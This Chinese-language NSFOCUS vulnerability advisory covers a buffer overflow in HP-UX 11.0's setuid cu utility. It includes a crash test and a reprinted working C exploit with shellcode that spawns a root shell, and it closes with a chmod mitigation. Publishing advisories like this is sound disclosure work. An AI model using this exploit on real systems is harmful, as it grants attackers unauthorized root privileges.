首页 -> 安全研究

安全研究

安全漏洞
HP-UX cu 缓冲区溢出漏洞

发布日期:2000-11-05
更新日期:2000-11-05

受影响系统:

HP HP-UX 11.0
描述:

cu 是 Unix 工具,它用来在两台主机之间进行通讯(通常是通过
电话线)。典型安装时它是属主为 root 的 setuid 程序,这样
在普通用户执行时它才能访问通讯硬件。

对 cu 随 HP-UX 11.0 一起发行版本(可能其他的版本也有),它
存在一个缓冲区溢出漏洞,如果成功利用可以提升权限。cu 的 '-l'
选项的参数是长度,对这个参数处理方式不安全。如果这个参数的
字符长度超过 9777 字节,它将毁坏正在用的堆栈变量。这将可以
导致 shellcode 以 euid = 0 的权限执行。


<* 来源:zorgon (zorgon@linuxstart.com) *>




测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

下面是测试漏洞存在的实例:

   $ ls -la `which cu`
   -r-sr-xr-x 1 bin 40960 9 avr 1998 /bin/cu

  用 '-l' 选项,跟随一个长字符串参数:

   $ cu -l `perl -e 'printf "A" x 9777'`
   La connexion a chou : Requested device/system name not known
   $ cu -l `perl -e 'printf "A" x 9778'`
   Memory fault

zorgon (zorgon@linuxstart.com) 提供了一个测试程序:
/* Copyright (c) 2001 Zorgon
* All Rights Reserved
* The copyright notice above does not evidence any
* actual or intended publication of such source code.
*
* HP-UX /bin/cu exploit.
* Tested on HP-UX 11.00
* zorgon@antionline.org (http://www.nightbird.free.fr)
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define LEN 9778
#define HPPA_NOP 0x0b390280
#define RET 0x7f7eb010
#define OFFSET 1200 /* it works for me */

u_char hppa_shellcode[] = /* K2 <ktwo@ktwo.ca> shellcode */
"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff";

int
main(int argc , char **argv){
  char buffer[LEN+8];
  int i;
  long retaddr = RET;
  int offset = OFFSET;

  if(argc>1) offset = atoi(argv[1]);
  for (i=0;i<LEN;i+=4)
    *(long *)&buffer[i] = retaddr + offset;

  for (i=0;i<(LEN-strlen(hppa_shellcode)-50);i++)
    *(buffer+i) = HPPA_NOP;

  memcpy(buffer+i,hppa_shellcode,strlen(hppa_shellcode));
  fprintf(stderr, "HP-UX 11.00 /bin/cu exploit\n");
  fprintf(stderr, "Copyright (c) 2001 Zorgon\n");
  fprintf(stderr, "[return address = %x] [offset = %d] [buffer size = %d]\n", retaddr + offset, offset, strlen(buffer));

  execl("/bin/cu","cu","-l",buffer,0);
}




建议:

临时解决办法:

  NSFOCUS建议您在没有打补丁和升级版本前,去掉 cu 程序的 setuid 位:

   $ chmod u-s `which cu`

厂商补丁:

  暂无

浏览次数:5606
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障